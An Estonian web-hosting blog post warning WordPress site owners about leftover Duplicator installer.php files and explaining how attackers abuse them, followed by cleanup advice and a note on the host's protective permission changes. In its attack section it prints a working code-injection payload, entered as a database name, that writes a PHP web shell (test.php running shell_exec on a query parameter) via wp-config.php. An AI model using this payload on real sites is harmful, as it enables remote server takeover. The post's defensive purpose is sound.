Vahel ei ole ka uuendamisest abi ehk Duplicator ja installer.php

Jaanus Putting
Jaga:

Duplicator – plugin, mis lubab WordPressi mugavalt kokku pakkida ja teises serveris uuesti paigaldada – on täpselt selline juhtum.

Kiire kokkuvõte: veendu, et sinu veebi juurkataloogi pole jäänud installer.php või installer-backup.php faili (näiteks tippides oma veebi-aadressi sappa: http://firmanimi.eu/installer.php). Kui on, siis korralda kohene kustutamine.
Ääremärkus: kõigil Zones majutatud lehtedel keelasime neile failidele ligipääsu, kustutamiseks on vaja eelnevalt failiõigused paika seada; juhis allpool.

Maasikaks tordi peal on sedapuhku see, et tegemist on 10+ MILJONIT korda paigaldatud pluginaga. Või õigupoolest: …see tort ainult (pahadest) maasikatest koosnebki:

  • tegemist on pluginaga, millel väidetavasti 10+ miljonit paigaldust;
  • esimesed ründed (sh Eestis) mõni nädal pärast paiga ja probleemikirjelduse avaldamist;
  • see ei ole neil esimene turvaprobleem;
  • paik kõrvaldab ühe ründeviisi, aga jätab alles teise võimaluse;
  • ükski paik ei kõrvalda Duplicatori kasutamise järel kustutamata jäänud installer.php ja installer-backup.php faile;
  • need failid võivad alles olla ka veebis, milles pluginat ennast enam ammu pole;
  • lisaks installerile võib veebis vedeleda ka andmebaas database.sql (saab kasutada nt admin-kasutaja parooli murdmiseks) ja kogu veebirakenduse arhiiv (mille nime installer.php reedab)
  • probleemi avastaja kirjeldab ründemeetodit täpsusega, mis võimaldab seda sisuliselt copy-paste meetodil kasutusele võtta (muuhulgas näeme rünnetes test.php faile);
  • tuntud veebiturvapakkuja blogipostitusest jääb mulje, et eelnevale vaatamata pole nad päris täpselt aru saanud, kuidas rünne töötab ja miks wp-config.php katki kipub minema.

Ehk siis… see maasikas on veidi “sedapsi”:

Mida Duplicator teeb?

Tegemist on WordPressi pluginaga, mis lubab olemasoleva veebi (nt veebiarendaja testserveris oleva) kokku pakkida, mille tulemuseks on üks suur arhiiv kõigi failide ja andmebaasi-sisuga ning installer.php skript.

Need saab lihtsa vaevaga uude serverisse üles laadida ning seejärel tippides veebiaadressi sappa installer.php ilma tehniliste teadmisteta seal ka lahti pakkida, vajadusel koos domeeninime muutmisega:

Paigaldamise järel jäävad aga serverisse alles nii installer, selle varukoopia kui ka arhiivist lahti pakitu:

Kuidas rünnatakse?

Kuna maha unustatud installer.php saab käivitada igaüks, siis võiks näiteks sisestada oma kontrolli all oleva andmebaasiserveri andmed ning paigalduse järel saaks seal admin-kasutaja parooli ära vahetada. Ja seejärel võib juba sobiliku tagaukse paigaldada, nt pluginana:

AGA! Duplicator kirjutab siia sisestatud andmed kenasti wp-config.php faili, misjärel on võimalik teha eriti labane koodisüst, pannes andmebaasi nimeks jupi koodi:

test');
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*

Nüüd näeb wp-config.php välja selline:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test'); 
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*');

/** MySQL database username */
define('DB_USER', 'test');

/** MySQL database password */
define('DB_PASSWORD', 'test');

/** MySQL hostname */
define('DB_HOST', 'nowhere:12345');

… ja pöördudes korra otse wp-config.php poole (minu näidise puhul https://dupdup.local/wp-config.php), tekib samasse fail test.php, mis toimib lihtsa tagauksena (näide käsuga ls , mis kuvab veebi juurkataloogi sisu):

Loomulikult on selle käigus tehtud katki ka wp-config.php ja veebikülastajad näevad andmebaasi-ühenduse veateadet:

Kuidas ennast kaitsta?

Kui oled veebiarendajana (või -omanikuna) kunagi Duplicator’it kasutanud veebi kolimiseks, siis leia see aeg, et kõik varasemad projektid üle kontrollida ja eemalda veebi juurkataloogi jäänud installer.php, installer-backup.php, database.sql ja arhiivifail.

Kontrollimine on lihtne ja selleks pole isegi vaja FTP-ligipääsu: pannes falinime oma veebiaadressi sappa (nt: http://firmanimi.eu/installer.php), peaks kuvatama Error 404 ehk “lehte ei leitud” teadet. Kui avaneb ülal näha olev Duplicator’i dialoog, siis on väga pahasti.

Paha ei tee ka veidi põhjalikum veebiserveris ringivaatamine, sest sageli vedeleb seal kataloogides /vana või /new veebilehe erinevaid (paikamata ja kohati ka nõrga adminparooliga) versioone, näiteks test.php, mis kuvab serveri-infot jpm tarbetut kola, mis võib kellegi jaoks osutuda väärt turvaprobleemiks.

Zone kliendid on kaitstud

Zones majutatud veebidele lasid meie adminnid peale roboti, mis keelas kõigi Duplicator’i installer*.php failide lugemise (chmod 0x000), sest kliendi faile me ära kustutada ei tahaks. Kui probleemsed failid sinu veebis olemas, siis näed meil sellist veateadet:

… ja failide kustutamiseks pead FTP-programmis paremklõpsama failinimel ning andma kasutajale Read ja Write õigused:

 

Kommentaarid

Populaarsed postitused

Partner soovitab: Nii väldid ebaõnnestumisi Google reklaamidega

Klewer
Google Ads on tänapäeval suurettevõtete jaoks üks kõige tõhusamaid ja võimsamaid viise müügitulemuste kasvatamiseks. Pole juhus, et 80% ettevõtetest...

Valmisolek Eesti liitumiseks Mandri-Euroopa elektrivõrguga

Ardi Jürgens
Elektrikatkestuse risk eelseisval nädalavahetusel võib olla tavapärasest suurem, kui Eesti koos Läti ja Leeduga end Venemaa elektrivõrgust lahti ühendab...

Partner soovitab: Eduka meiliturunduse alused ehk sissejuhatus A/B testimisse

Smaily
Kas oled varem kuulnud selliseid mõisteid nagu A/B testimine, split testimine või mitme muutujaga testimine? Muidugi võivad need sõnad meenutada keerulisi...

JavaScripti UI raamistikele ehitatud veebirakenduste avaldamine Vue näitel

Zone Blogi
Sellest on nüüd veidi üle aasta möödas, kui kirjutasin blogiloo sellest, kuidas automatiseerida veebirakenduste avaldamist Zone veebimajutusse läbi...